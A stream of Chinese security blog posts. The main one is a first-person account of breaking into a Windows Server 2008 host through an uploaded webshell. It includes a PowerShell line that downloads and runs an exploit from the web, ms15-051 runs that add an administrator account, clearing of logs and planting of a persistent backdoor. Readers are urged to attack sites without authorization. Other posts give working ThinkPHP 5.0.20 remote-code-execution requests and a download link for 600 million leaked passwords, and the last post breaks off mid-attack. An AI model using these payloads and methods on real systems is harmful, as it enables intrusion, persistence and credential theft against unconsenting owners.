| D:\ZKEYS_PHP\MySql\MySQL Server 5.5\lib\plugin\ |

+-------------------------------------------------+

1 row in set (1.26 sec)



mysql> select load_file('D:\www\xxxxxxxxxx.com\a\chanpinzhongxin\lib_mysqludf_sys_32.dll') into dumpfile 'D:\ZKEYS_PHP\MySql\MySQL Server 5.5\lib\plugin\udf.dll';

1 - Can't create/write to file 'D:\ZKEYS_PHP\MySql\MySQL Server 5.5\lib\plugin\udf.dll' (Errcode: 13)



还尝试过使用HEX来进行写入,也宣告失败。

最后进了系统后发现那个文件夹管理员都没有直接查看权限!还需要先取得所有权才能查看!我丢!难怪root权限的mysql帐户也不能导出dll。

真的是实战渗透你会发现什么样的环境都有,很少有教科书一样的环境,需要自己灵活变通,所有的教程都只能是参考!



0x4 使用EXP打,梭哈:

下面就换一个方式,使用EXP来打...在不知道补丁情况下我就用N多个匹配目标系统的EXP来尝试...

好在最后通过缩小目标范围成功提权,下面是一些本次Windows Server 2008 R2 Enterprise的EXP提权测试记录。



D:\www\xxxxxxxx.com\about> tasklist

映像名称                       PID 会话名              会话#       内存使用 

========================= ======== ================ =========== ============

System Idle Process              0                            0         24 K

System                           4                            0        364 K

smss.exe                       452                            0      2,192 K

csrss.exe                      536                            0     15,284 K

csrss.exe                      588                            1      8,256 K

wininit.exe                    596                            0      6,940 K

services.exe                   640                            0     13,340 K

lsass.exe                      648                            0     70,872 K

lsm.exe                        656                            0      9,144 K

winlogon.exe                   712                            1      7,936 K

svchost.exe                    796                            0     15,388 K

svchost.exe                    876                            0     16,156 K

LogonUI.exe                    964                            1     17,688 K

svchost.exe                    972                            0     16,988 K

spoolsv.exe                   1136                            0     20,572 K

svchost.exe                   1172                            0     12,644 K

svchost.exe                   1196                            0     18,556 K

inetinfo.exe                  1224                            0     30,140 K

mysqld.exe                    1432                            0    223,128 K

svchost.exe                   1484                            0     14,536 K

svchost.exe                   1524                            0      4,880 K

svchost.exe                   1564                            0     37,440 K

svchost.exe                   2500                            0     15,892 K

svchost.exe                  17884                            0      6,736 K

msdtc.exe                    17932                            0      9,852 K

csrss.exe                    20892                            2     14,512 K

winlogon.exe                 31176                            2     10,096 K

taskhost.exe                 37920                            2      8,888 K

rdpclip.exe                  32664                            2     10,204 K

dwm.exe                      20120                            2      6,828 K

explorer.exe                 39432                            2    120,864 K

LocoyPlatform.exe            38208                            2    285,120 K

wlrmdr.exe                   67128                            2      6,196 K

w3wp.exe                     51948                            0     18,636 K

w3wp.exe                      4956                            0     18,224 K

w3wp.exe                     13988                            0     18,508 K

dllhost.exe                  27880                            0      6,596 K

wsmprovhost.exe              35776                            0      7,536 K

w3wp.exe                     56336                            0     17,804 K

php-cgi.exe                  47428                            0     25,352 K

php-cgi.exe                  10924                            0     25,820 K

w3wp.exe                     57064                            0     17,508 K

php-cgi.exe                  25912                            0     25,296 K

w3wp.exe                     16252                            0     17,516 K

php-cgi.exe                  28464                            0     25,252 K

php-cgi.exe                  59852                            0     25,196 K

w3wp.exe                     68792                            0     17,700 K

php-cgi.exe                  65204                            0     23,368 K

w3wp.exe                     49940                            0     17,360 K

cmd.exe                      40808                            0      4,780 K

conhost.exe                  48340                            0      4,892 K

cmd.exe                      68144                            0      4,728 K

tasklist.exe                 26436                            0      7,352 K

 

在进程里没有发现杀软,虽然shell是免杀得...没有最方便啦!这也印证了开始传shell的猜想。

 

查看用户和所在用户的权限:

D:\www\xxxxxxxx.com\about> net user

\ 的用户帐户

-------------------------------------------------------------------------------

Administrator            APP_IWAM_9624056         Guest                    

MYSQL_USER               PhpMyAdmin_USER          

命令运行完毕,但发生一个或多个错误。



D:\www\xxxxxxxx.com\about> whoami /priv

特权信息

----------------------

特权名                  描述                 状态  

======================= ==================== ======

SeChangeNotifyPrivilege 绕过遍历检查         已启用

SeImpersonatePrivilege  身份验证后模拟客户端 已启用

SeCreateGlobalPrivilege 创建全局对象         已启用



看到有SeImpersonatePrivilege  权限,期间还是用过MSF的incognito模块来进行会话令牌冒用,均已失败告终。



查看是否存在域环境,准备找其他域内机器攻克,但是结果是单域。

D:\www\xxxxxxxx.com\about> net user /domain

这项请求将在域 WORKGROUP 的域控制器处理。

发生系统错误 1355。

指定的域不存在,或无法联系。

 

D:\www\xxxxxxxx.com\about> whoami /all

用户信息

----------------

用户名            SID     

================= ========

nt authority\iusr S-1-5-17

组信息

-----------------

组名                                 类型   SID          属性                          

==================================== ====== ============ ==============================

Mandatory Label\High Mandatory Level 标签   S-1-16-12288                               

Everyone                             已知组 S-1-1-0      必需的组, 启用于默认, 启用的组

BUILTIN\Users                        别名   S-1-5-32-545 必需的组, 启用于默认, 启用的组

NT AUTHORITY\SERVICE                 已知组 S-1-5-6      只用于拒绝的组                

控制台登录                           已知组 S-1-2-1      必需的组, 启用于默认, 启用的组

NT AUTHORITY\Authenticated Users     已知组 S-1-5-11     必需的组, 启用于默认, 启用的组

NT AUTHORITY\This Organization       已知组 S-1-5-15     必需的组, 启用于默认, 启用的组

LOCAL                                已知组 S-1-2-0      必需的组, 启用于默认, 启用的组

特权信息

----------------------

特权名                  描述                 状态  

======================= ==================== ======

SeChangeNotifyPrivilege 绕过遍历检查         已启用

SeImpersonatePrivilege  身份验证后模拟客户端 已启用

SeCreateGlobalPrivilege 创建全局对象         已启用

 

查看具有管理权限的账户列表:

D:\www\xxxxxxxx.com\about> net localgroup administrators

别名     administrators

注释     管理员对计算机/域有不受限制的完全访问权

成员

-------------------------------------------------------------------------------

Administrator

命令成功完成。

 

查看网卡配置:

D:\www\xxxxxxxx.com\about> ipconfig /all

Windows IP 配置

   主机名  . . . . . . . . . . . . . : WIN-xxxxxxxxxxx

   主 DNS 后缀 . . . . . . . . . . . : 

   节点类型  . . . . . . . . . . . . : 混合

   IP 路由已启用 . . . . . . . . . . : 否

   WINS 代理已启用 . . . . . . . . . : 否

以太网适配器 本地连接 2:

   连接特定的 DNS 后缀 . . . . . . . : 

   描述. . . . . . . . . . . . . . . : Intel(R) I350 Gigabit Network Connection #2

   物理地址. . . . . . . . . . . . . : xx-xx-xx-xx-xx-CB

   DHCP 已启用 . . . . . . . . . . . : 是

   自动配置已启用. . . . . . . . . . : 是

   本地链接 IPv6 地址. . . . . . . . : fe80::xxx:xxx:xxx:887d%13(首选) 

   自动配置 IPv4 地址  . . . . . . . : 169.254.136.125(首选) 

   子网掩码  . . . . . . . . . . . . : 255.255.0.0

   默认网关. . . . . . . . . . . . . : 

   DHCPv6 IAID . . . . . . . . . . . : 301999504

   DHCPv6 客户端 DUID  . . . . . . . : 00-01-00-01-24-A2-67-59-xx-xx-xx-xx-xx-CA

   DNS 服务器  . . . . . . . . . . . : fec0:0:0:ffff::1%1

                                       fec0:0:0:ffff::2%1

                                       fec0:0:0:ffff::3%1

   TCPIP 上的 NetBIOS  . . . . . . . : 已启用

以太网适配器 本地连接:

   连接特定的 DNS 后缀 . . . . . . . : 

   描述. . . . . . . . . . . . . . . : Intel(R) I350 Gigabit Network Connection

   物理地址. . . . . . . . . . . . . : xx-xx-xx-xx-xx-CA

   DHCP 已启用 . . . . . . . . . . . : 否

   自动配置已启用. . . . . . . . . . : 是

   本地链接 IPv6 地址. . . . . . . . : fe80::xxx:xxx:xxx:ef33%11(首选) 

   IPv4 地址 . . . . . . . . . . . . : x.x.x.25(首选) 

   子网掩码  . . . . . . . . . . . . : 255.255.255.192

   IPv4 地址 . . . . . . . . . . . . : x.x.x.130(首选) 

   子网掩码  . . . . . . . . . . . . : 255.255.255.192

   IPv4 地址 . . . . . . . . . . . . : x.x.x.131(首选) 

   子网掩码  . . . . . . . . . . . . : 255.255.255.192

   IPv4 地址 . . . . . . . . . . . . : x.x.x.132(首选) 

   子网掩码  . . . . . . . . . . . . : 255.255.255.192

   IPv4 地址 . . . . . . . . . . . . : x.x.x.133(首选) 

   子网掩码  . . . . . . . . . . . . : 255.255.255.192

   IPv4 地址 . . . . . . . . . . . . : x.x.x.134(首选) 

   子网掩码  . . . . . . . . . . . . : 255.255.255.192

   IPv4 地址 . . . . . . . . . . . . : x.x.x.135(首选) 

   子网掩码  . . . . . . . . . . . . : 255.255.255.192

   

查看arp配置:

D:\www\xxxxxxxx.com\about> arp -a

???: x.x.x.25 --- 0xb

  Internet ???         ???????              ????

  x.x.x.24           00-25-90-88-a5-b2     ???        

  x.x.x.60           44-4c-a8-81-12-08     ???        

  x.x.x.61           44-4c-a8-80-e1-21     ???        

  x.x.x.62           00-1c-73-00-00-02     ???        

  x.x.x.63           ff-ff-ff-ff-ff-ff     ???        

  x.x.x.191          ff-ff-ff-ff-ff-ff     ???        

  x.x.x.127          ff-ff-ff-ff-ff-ff     ???        

  x.x.x.63          ff-ff-ff-ff-ff-ff     ???        

  x.x.x.255        ff-ff-ff-ff-ff-ff     ???        

  224.0.0.22            01-00-5e-00-00-16     ???        

  224.0.0.252           01-00-5e-00-00-fc     ???        

???: 169.254.136.125 --- 0xd

  Internet ???         ???????              ????

  169.254.255.255       ff-ff-ff-ff-ff-ff     ???        

  224.0.0.22            01-00-5e-00-00-16     ???        

  224.0.0.252           01-00-5e-00-00-fc     ???        

  255.255.255.255       ff-ff-ff-ff-ff-ff     ???        





在shell的虚拟终端中执行systeminfo结果如下:



D:\www\xxxxxxxx.com\about> systeminfo

主机名:           WIN-xxxxxxxx

OS 名称:          Microsoft Windows Server 2008 R2 Enterprise 

OS 版本:          6.1.7601 Service Pack 1 Build 7601

OS 制造商:        Microsoft Corporation

OS 配置:          独立服务器

OS 构件类型:      Multiprocessor Free

注册的所有人:     Windows 用户

注册的组织:       

产品 ID:          00486-OEM-8400691-20006

初始安装日期:     2019/5/26, 14:13:48

系统启动时间:     2019/8/18, 17:17:23

系统制造商:       Supermicro

系统型号:         X9DRD-iF

系统类型:         x64-based PC

处理器:           安装了 2 个处理器。

                  [01]: Intel64 Family 6 Model 45 Stepping 7 GenuineIntel ~1180 Mhz

                  [02]: Intel64 Family 6 Model 45 Stepping 7 GenuineIntel ~1180 Mhz

BIOS 版本:        American Megatrends Inc. 1.0b, 2012/10/5

Windows 目录:     C:\Windows

系统目录:         C:\Windows\system32

启动设备:         \Device\HarddiskVolume1

系统区域设置:     zh-cn;中文(中国)

输入法区域设置:   zh-cn;中文(中国)

时区:             (UTC+08:00)北京,重庆,香港特别行政区,乌鲁木齐

物理内存总量:     32,735 MB

可用的物理内存:   25,878 MB

虚拟内存: 最大值: 65,469 MB

虚拟内存: 可用:   39,898 MB

虚拟内存: 使用中: 25,571 MB

页面文件位置:     C:\pagefile.sys

域:               WORKGROUP

登录服务器:       暂缺

修补程序:         暂缺

网卡:             安装了 2 个 NIC。

                  [01]: Intel(R) I350 Gigabit Network Connection

                      连接名:      本地连接

                      启用 DHCP:   否

                      IP 地址

                        [01]: x.x.x.x

                        .........N......

                        

出现修补程序状态为暂缺的情况下一般是shell的权限不够,后来登录后执行systeminfo的结果印证:



修补程序:         安装了 2 个修补程序。

                  [01]: KB2999xxx

                  [02]: KB976xxx

那就只有使用cmd命令来猜测是否打了一些常见的本地提权补丁


systeminfo>temp.txt&(for %i in (KB952004 KB970483 KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3011780 KB3036220 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3124280 KB3141780 KB4013389) do @type temp.txt|@find /i  "%i"|| @echo %i Not Installed!)&del /f /q /a temp.txt  




D:\www\xxxxxxxxxxx.com\about> systeminfo>temp.txt&(for %i in (KB952004 KB970483 KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3011780 KB3036220 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3124280 KB3141780 KB4013389) do @type temp.txt|@find /i  "%i"|| @echo %i Not Installed!)&del /f /q /a temp.txt
KB952004 Not Installed!  
KB970483 Not Installed!  
KB977165 Not Installed!  
KB2160329 Not Installed!  
KB2503665 Not Installed!  
KB2592799 Not Installed!  
KB2707511 Not Installed!  
KB2829361 Not Installed!  
KB2850851 Not Installed!  
KB3000061 Not Installed!  
KB3011780 Not Installed!  
KB3036220 Not Installed!  
KB3045171 Not Installed!  
KB3077657 Not Installed!  
KB3079904 Not Installed!  
KB3134228 Not Installed!  
KB3143141 Not Installed!  
KB3124280 Not Installed!  
KB3141780 Not Installed!  
KB4013389 Not Installed! 

 



MS16-032 windows本地提权

补丁编号: KB3124280

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c net user evi1cg test!@#123 /add'" >>1.log





根据1.log记录,宣告失败:

                

    |  V  |  |  | |  _||   |  |  |

    |     |
  || || . || | |  |  |

    |
|||__|
||   ||||

                                        

                   [by b33f -> @FuzzySec]



[?] Operating system core count: 24

[>] Duplicating CreateProcessWithLogonW handles..

[!] No valid thread handles were captured, exiting!



ATM 字体驱动程序中的漏洞可能允许特权提升

漏洞代号: MS15-077

补丁编号: KB3077657

exp 用途: 字体提权

适应平台: 可能该exp 32位系统好使,64位均未成功



D:\www\xxxxxxxxxxx.com\about> elevator.exe

HT Windows Font Exploit modify by skyer

Usage: exp.exe "net user t00ls t00ls /ad"



D:\www\xxxxxxxxxxx.com\about> elevator.exe "net user helps helps@!#me /add"

D:\www\xxxxxxxxxxx.com\about> net user

\ 的用户帐户

-------------------------------------------------------------------------------

Administrator            APP_IWAM_9624056         Guest                    

MYSQL_USER               PhpMyAdmin_USER          

命令运行完毕,但发生一个或多个错误。



宣告失败!



Windows内核模式驱动CVE-2015-1680信息泄露漏洞

漏洞代号: MS15-051

补丁编号: KB3045171

exp 用途: 本地提权

适应平台: 08 以后的系统基本都可以,成功率较高,菜刀直接可用



D:\www\xxxxxxxxxx.com\about> ms15-051.exe

[#] ms15-051 fixed by zcgonvh

[#] usage: ms15-051 command 

[#] eg: ms15-051 "whoami /all" 



这里受到 在mysql提权时的影响,把系统当成了32位,忘了上面通过systeminfo得到的系统架构信息是X64位

D:\www\xxxxxxxxxx.com\about> ms15-051.exe whoami

[#] ms15-051 fixed by zcgonvh

[x] please re-compiler this program via x64 platform 



换用 ms15-051x64成功

Snipaste_2019-10-02_17-53-36.png

D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe

[#] ms15-051 fixed by zcgonvh

[#] usage: ms15-051 command 

[#] eg: ms15-051 "whoami /all" 

 

D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe whoami

[#] ms15-051 fixed by zcgonvh

[!] process with pid: 19140 created.

==============================

nt authority\system

 

D:\www\xxxxxxxxxx.com\about> whoami

nt authority\iusr

 

D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe whoami

[#] ms15-051 fixed by zcgonvh

[!] process with pid: 19644 created.

==============================

nt authority\system

 

D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe "net user HELP help@!#me123 /add"

[#] ms15-051 fixed by zcgonvh

[!] process with pid: 25540 created.

==============================

密码不满足密码策略的要求。检查最小密码长度、密码复杂性和密码历史的要求。

请键入 NET HELPMSG 2245 以获得更多的帮助。

 

D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe "net user HELP HELP@!#me123@@@ /add"

[#] ms15-051 fixed by zcgonvh

[!] process with pid: 19788 created.

==============================

输入的密码超过了 14 个字符。安装了 Windows 2000 

以前的 Windows 版本的计算机将不能使用

此帐户。您想继续进行操作吗? (Y/N) [Y]: 

没有提供有效的响应。



这个时候尝试了使用空密码,的确是可以创建并且加入管理员组:

D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe "net user HELP /add"

[#] ms15-051 fixed by zcgonvh

[!] process with pid: 22168 created.

==============================

命令成功完成。



D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe "net localgroup Administrators HELP /add"

[#] ms15-051 fixed by zcgonvh

[!] process with pid: 22040 created.

==============================

命令成功完成。



这个时候准备登录:需要知道远程桌面端口,于是使用读取注册表的16进制值来获得:

在命令行下执行:  



REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber



返回:  



PortNumber    REG_DWORD    0x4cfe  



随后拿出来 0x4cfe ,转换成10进制,Windows下可以用计算器的程序员模式,

选择HEX输入 4cfe 即可得到10进制的端口号19710



但是登录的时候提示由于策略原因禁止空密码登录,稍微新一点系统都是禁止空密码登录的。



这时候当然去找google搜索是最快的阿!



最终成功设置了一个符合策略要求的密码:



D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe "net user HELP 123789456=love"

[#] ms15-051 fixed by zcgonvh

[!] process with pid: 13012 created.

==============================

命令成功完成。

Snipaste_2019-10-02_18-10-00.png

加入管理员组:

Snipaste_2019-10-02_18-10-46.png

还有一种策略就是激活Guest帐户,但是我又担心策略组禁止Guest帐户登录就白忙活了,可自行尝试!



然后使用的密码成功登录,进去清理掉日志,痕迹,打扫战场,深藏功与名!哈哈哈

Snipaste_2019-10-02_18-19-33.png

不可能阿,这个系统里面全是非法彩票网站,最终跳转导向到菠菜!那咋办呢?盘他!必须安排!



先把所有网站的首页文件全部替换成公益404页面,美滋滋!

再留一个面杀后门修改系统进程加上参数后自动将后门注入系统进程,同时禁止安装任何杀软!除非它重装系统!



收工,休息下继续下一波非法网站搜集!

需要练习技能的朋友可以批量采集非法网站作为练习对象!正规网站需要取得授权才能测试!

切忌装逼!保护好自己!

禁止挂黑页的傻屌行为!

全程远程堡垒机操作,全程VPN!

最简单的就是随便找一家服务商开一台机器,VPN连上去,搞完销废机器!



参考:

https://github.com/SecWiki/windows-kernel-exploits

https://www.eviloctal.com/archiver/tid-25278.html

https://klionsec.github.io/2017/04/22/win-0day-privilege/

https://xz.aliyun.com/t/2199

admin 发布于  2019-10-13 11:30 

雷电模拟器配合Burpsuite抓取模拟器APP数据+使用adb清空和导入联系人 技术文章

前言:

    我们在做渗透测试的时候,我们往往需要使用burpsuite抓取 APP流量,需要抓取APP数据进行测试,因为往往通过APP都能有不错的发现,但是为了方便测试,我们如果没有安卓机的情况下,使用模拟器就是一个不错的选择,其一不需要另行准备安卓手机,其二也可以避免一些垃圾APP给自己造成不必要的麻烦,如锁机APP或者是近段时间闹得沸沸扬扬的送给最好的TA,这些APP。

    需要准备的软件如下:雷电模拟器、burpsuite、需要测试的APP,雷电模拟器和 APP 直接去官网下载安装即可,burpsuite 相关软件资料可以查看我在 GitHub 上面的资源,应该还算全面,同时也希望大家贡献好的插件或则是文章,我会收录进去,最后夹带点私货(: 帮我点点star啊!谢谢!

总的步骤大致分为以下几步,其中每一步我都会在下面都有详细的图文介绍:1)电脑端设置好 burpsuite 的代理;2)模拟器设置代理;3)模拟器下载并安装证书并使用Android浏览器访问SSL网站验证SSL代理是否成功;4)打开APP开始抓取流量测试

0x01 电脑端设置好 burpsuite 的代理

    首先我们通过 windows+R 运行 cmd, 通过 ipconfig /all 命令 找到自己的网卡的 IPv4 地址,这一步也可以根据自己的习惯了操作,比如通过 控制面板\网络和 Internet\网络连接 或 其他方式。我这里的 IPv4 地址是 192.168.6.244 ,这个 IPv4 地址记住,后面设置 burpsuite 的代理和 模拟器设置代理 都需要用到。

ipconfig.png

确认自己的 IPv4 地址后就可以设置 burpsuite 的代理设置了:绑定监听端口(Bind to port) 8080 (端口必须是未占用的端口,你可以设置高位端口),绑定监听地址( Bind to address) 我们选择 Specific address 192.168.6.244 在列表里选择刚刚查到的 IPv4 地址。自此 burpsuite 就设置好了。

burp-proxy-setting.png

0x02 模拟器设置代理

    模拟器设置代理需要修改 设置 --> WLAN --> 鼠标左键长按 tplink --> 修改网络 --> 代理选择手动 --> 代理服务器主机名填写 刚刚的 IPv4 地址 192.168.6.244,代理服务器端口 填写刚刚 burpsuite 设置的 8080 ,然后保存,现在使用 Android 浏览器打开 http 网站在 burpsuite 就可以看到流量了。

android-wlan-proxy1.png 

android-wlan-proxy2.png

0x03 模拟器下载并安装证书并使用Android浏览器访问SSL网站验证SSL代理是否成功

    如上面设置后好,就会发现打开使用了SSL证书的 https 站点会提示: 该网站的安全证书有问题。not-install-cert.png

burpsuite 此时肯定是不能抓到流量的,因此我们需要给模拟器配置 burpsuite 的证书,我们使用 Android 浏览器访问 http://burp/ 或者 http://192.168.6.244:8080/ 即可看到 burpsuite 的证书下载页面,我们点击 CA Certificate 即可下载证书:

android-download-cert.png

一般默认在 文件管理器的 Download 目录下 文件名为 cacert.der 我们需要把它后缀改为pem,即重名为 cacert.pem 

install-cert-error.pngcert-download-path.png 

然后打开 设置 --> 安全 --> 从SD卡安装(从SD卡安装证书),找到下载的证书路径,默认就是 内部储存的 Download目录下,我们刚刚重命名过的证书,如果不重命名,Android 是不识别的。

 install-cert.png



选择证书后,如果提示 需要先设置锁屏 PIN 或 密码才能使用凭据,就先去设置好 PIN 或 密码

seting-ping.png 

然后根据提示填写 证书名字、凭据用途默认 WLAN 即可,然后确定,

install-cert-rename.png 

install-cert-success.png

系统会提示安装成功!我们也可以从 设置 --> 安全 --> 信任的凭据 --> 用户 可以看到我们安装的 PortSwigger。最后使用浏览器访问 https://www.baidu.com burpsuite 应该就可以抓到流量了。

 check-cert.png

0x04 打开APP开始抓取流量测试

    打开APP开始抓取流量测试,如果APP没有做其他的防护措施比如加固等等,burpsuite 应该就可以看到流量了。如果不能抓到 APP 流量但是可以抓取 Android 浏览器流量,这个时候就需要 脱壳APP或者是借助 Frida 这些来协助抓取,下次写。

all-done.png 

finish.png



下面简单说一下 如何通过雷电模拟器的 adb.exe 来直接执行命令进行 清空和导入联系人到模拟器的通讯录(比如批量生成一定范围的手机号,去做QQ好友/微信匹配等等,希望你看到了不作恶)。

雷电模拟器通讯录格式如下:

BEGIN:VCARD

VERSION:2.1

N:;1-300-000-0000;;;

FN:1-300-000-0000

TEL;CELL:1-300-000-0000

END:VCARD

BEGIN:VCARD

VERSION:2.1

N:;1-300-933-0788;;;

FN:1-300-933-0788

TEL;CELL:1-300-933-0788

END:VCARD

其他模拟器或手机的通讯录格式,可以通过手动添加一个号码,然后导出到 sdcard 查看,即可使用python这些小脚本批量生成,不做过多的陈述。

雷电模拟器 adb 清空、导入联系人如下:

# 列出设备

PS D:\ChangZhi\dnplayer2> .\adb.exe  devices

List of devices attached

emulator-5554   device

127.0.0.1:5555  offline

# 先清除原通讯录联系人

PS D:\ChangZhi\dnplayer2> .\adb.exe -s emulator-5554 shell pm clear com.android.providers.contacts

Success

# 将正确格式的通讯录文件contacts.vcf, 导入android模拟器中, 并等待模拟器刷新几秒钟

PS D:\ChangZhi\dnplayer2> .\adb.exe -s emulator-5554 push contacts.vcf /sdcard/contacts.vcf

2596 KB/s (12978 bytes in 0.004s)

PS D:\ChangZhi\dnplayer2> sleep 3

#从文件中, 将联系人import到android模拟器的通讯录中, 导入过程耗时依联系人数量而定.

PS D:\ChangZhi\dnplayer2> .\adb.exe -s emulator-5554 shell am start -t "text/x-vcard" -d "file:///sdcard/contacts.vcf" -a android.intent.action.VIEW com.android.contacts

Starting: Intent { act=android.intent.action.VIEW dat=file:///sdcard/contacts.vcf typ=text/x-vcard pkg=com.android.contacts }

PS D:\ChangZhi\dnplayer2> sleep 10

标签: burpsuite

admin 发布于  2019-9-30 21:44 

解决burpsuite拦截Firefox或chrome的一些无用报文数据 技术文章

前言:

        在我们使用 burpsuite 进行渗透测试或其他抓包APP测试的时候,经常会在 burpsuite 里面出现大量的无用报文数据,比如使用 Firefox 配合 burpsuite 抓包时经常出现:

http://detectportal.firefox.com/success.txt ,重点是这个包 Forward 和 Drop还会点不动!

这些大量的报文严重影响我们的工作效率!我就我的经验分享给大家,同时做个笔记。

        要解决上面这个问题很简单,可以在 Firefox 浏览器里关闭或者是我后面说的直接在 burpsuite 里面使用正则过滤,先说一下如何在浏览器里关闭这个报文:

在地址栏输入: about:config 回车进入,---> 我了解此风险 ---> 搜索 : network.captive-portal-service.enabled ---> 双击将 值改为false,OK,就关掉了。

        但是,在我们测试的时候有时候出现大量的无关的子域名或者是暂时先屏蔽某个子域名的信息,不让它显示在 burpsuite 的 target 里面


admin 发布于  2019-7-30 13:25 

6亿密码Hash – 预先计算的哈希表 v.1.0-附上密码库种子下载 技术文章

6亿密码md5 Hash

这是国外一位叫ndronicus的安全研究者分享出来的,从2018年夏天到大约十年中从100个最大的密码泄露数据库存储中收集的6亿个唯一的纯文本密码的列表。

ndronicus从这些密码生成了NTLM,sha1,sha256,MySQL和MD5 hashes,它们包含在下载文件中。据估计,密码总数最初超过20亿。

slide-36-1024.jpg

在2018年初,我开始从我能找到的最大数据泄露中收集数据存储。应该指出的是,我并没有参与任何实际的违规行为。我刚从存储中收集了数据,例如:在单个数据库中发现了1.4亿个明文凭据

然后我开始从其他地方收集它们,例如  https://hashes.org/,下载超过100万个可用纯文本密码的转储。在将它们全部下载并将它们导入数据库之后,我将所有唯一的密码选择到一个表中。然后,我在接下来的几周内生成了下载中发现的哈希值hash

我目前正在开发下一个版本,其中包括来自超过30亿条原始记录的大约8.5亿个唯一密码。

下载

Torrent文件:6亿密码 - 预先计算的哈希表 

种子文件大小约65.8GB.
shotpic_2019-07-27_18-49-17.png
这些数据来源于以下网站以前泄露的密码:

  • 000webhost
  • 1394store.com
  • 178
  • 17media
  • 7k7k
  • 8tracks.com
  • 99fame.com
  • aipai.com
  • Alancristea
  • animoto.com
  • armorgames.com
  • ashleymadison.com
  • Avvo.com
  • badoo
  • Balancek
  • Barbeligh
  • BitcoinLixter
  • Blankmediagames.com
  • bleachforum
  • breachcompilation
  • burnett
  • cfire.mail.ru
  • CSGameServs.com
  • ddo.com
  • Delicious Takoyaki
  • disqus
  • DLH.net
  • dropbox
  • dubsmash.com
  • edmodo.com
  • eharmony
  • eighttracks
  • estantevirtual.com.br
  • evony
  • eyeem.com
  • fotolog.com
  • Gamerzplanet.net
  • game-tuts.com
  • Gamevn.com
  • gamigo
  • gfan
  • gmail
  • Gpotato.com
  • graboid
  • have i been pwnd v1
  • have I been pwnd v2
  • have I been pwnd v3
  • have I been pwnd v4
  • heroes of newerth
  • hiapk.com
  • houzz.com
  • id-zing-vn
  • imesh
  • Ixigo.com
  • kaixin
  • lastfm
  • lbsg.net
  • lifebear.com
  • linkedin
  • LotRO.com
  • LulzSecDelivers
  • matel
  • megatron
  • minecraft
  • mpgh.net
  • Muzhiwan.com
  • myfitnesspal.com
  • myheritage.com
  • myspace
  • neopets
  • nexusmods.com
  • Nihonomaru
  • Nulledio
  • Parapa.mail.ru
  • paypal
  • r2games
  • rambler
  • readnovel.com
  • redbox
  • RuneScape2015
  • Shadi.com
  • shein.com
  • Strongholdkingdoms.com
  • Subagames.com
  • surgeryu.com
  • taobao
  • taringa
  • tgbus.com
  • tianya
  • twitter
  • weheartit.com
  • xiaomi
  • xsplit
  • yahoo
  • yahoo voices
  • youku
  • youporn
  • zomato
  • zoosk

admin 发布于  2019-7-27 18:49 

某站禁用各种函数情况下的 Thinkphp5.x 绕过 Getshell 渗透测试

1.png



ThinkPHP 的站,且存在 ThinkPHP 5.0.x 远程命令执行漏洞,并且开了 debug 模式,但是⽬标用的是ThinkPHP5.0.20,⼀开始⽤网络上的 poc 打怎么都不成功。

第一个问题是,目标 PHP 禁⽤了命令执行的函数,比如执行 system 提示 disabled:

2.png

不过看起来文件函数没有禁用,⽐如 file_get_contents 没有报 disabled:

3.png

但是还有第⼆个问题,就是 tp 5.0.20 和 5.0.23 版本的代码有点区别,⽤网络上流传的 poc 打过去,始终提示要执行的函数参数为 null。

所以我又本地搭了 5.0.20 版本的 tp 进行调试,最后发现 poc 改成下 ⾯这样就可以成功利用:

POST /public/index.php?s=captcha HTTP/1.1
Host: 192.168.66.12
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0)Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,en-US;q=0.8,en;q=0.5,zh-SG;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 81aaa=id&_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=POST



点击查看原图  

  或者这样:

POST /public/index.php?s=captcha&aaa=id HTTP/1.1
Host: 192.168.66.12
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0)Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,en-US;q=0.8,en;q=0.5,zh-SG;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 73_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=xxx



 5.png   

ok,本地测试是成功了,再回到目标站,由于目标站似乎对一些命令执行的函数有禁用,再加上这个 tp这个漏洞: 



1.函数执行结果不会直接回显



2.限制了函数执行参数只能为一个 导致⼀开始一直卡壳。



后来想了想,由于前⾯测试从 debug 信息来看,好像没有禁⽌文件操作的函数,再加上 tp 本身就有用到文件读写的操作,所以⽂件读写操作肯定是能用的。



file_get_contents 函数可以执行,但这里不会输出函数执行的结果, file_put_contents 函数⼜要两个参数,include 又不是函数⽽没法在这里调用,所以感觉还是得先从 tp 框架里找现成的危险操作函数来⽤。



于是找到 __include_file :



6.png
 

__include_file 是在漏洞点可以直接调用的函数,⽽且封装了文件包含操作,所以能⽤它去读⽬标服务器上的⽂件了:



7.png
 

由于是⽂件包含的操作,所以我想到了通过在 url 里包含恶意代码,利用请求报错记录到 tp ⾃己的⽇志里,然后包含日志来执行任意代码(当然这里不包括禁用函数)。 



先本地测试一下可⾏性: 构造请求往 tp ⽇志里插入恶意代码字符:

